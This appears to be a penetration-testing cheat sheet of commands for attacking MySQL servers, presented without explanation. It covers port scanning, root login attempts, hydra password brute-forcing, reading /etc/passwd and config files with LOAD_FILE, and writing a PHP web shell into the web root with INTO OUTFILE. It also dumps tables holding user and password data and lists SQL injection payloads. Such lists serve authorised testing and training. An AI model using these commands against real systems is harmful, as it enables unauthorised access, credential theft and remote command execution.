nmap --script=mysql-* -p 3306 $IP

mysql -h $IP -u root
mysql -h $IP -u root -p

hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt $IP mysql

mysqldump -h $IP -u root -ppassword database_name > dump.sql

SELECT version();
SELECT user();
SELECT database();

SHOW databases;
SHOW tables;
USE database_name;
SHOW tables;

SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();

SELECT user, file_priv FROM mysql.user WHERE file_priv='Y';
SHOW variables LIKE 'secure_file_priv';

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

SHOW tables LIKE '%user%';
SHOW tables LIKE '%pass%';
SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%';

SELECT * FROM users INTO OUTFILE '/tmp/users.csv'
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\n';

' OR 1=1--
" OR 1=1--
' UNION SELECT 1,2,3--
' UNION SELECT user(),database(),version()--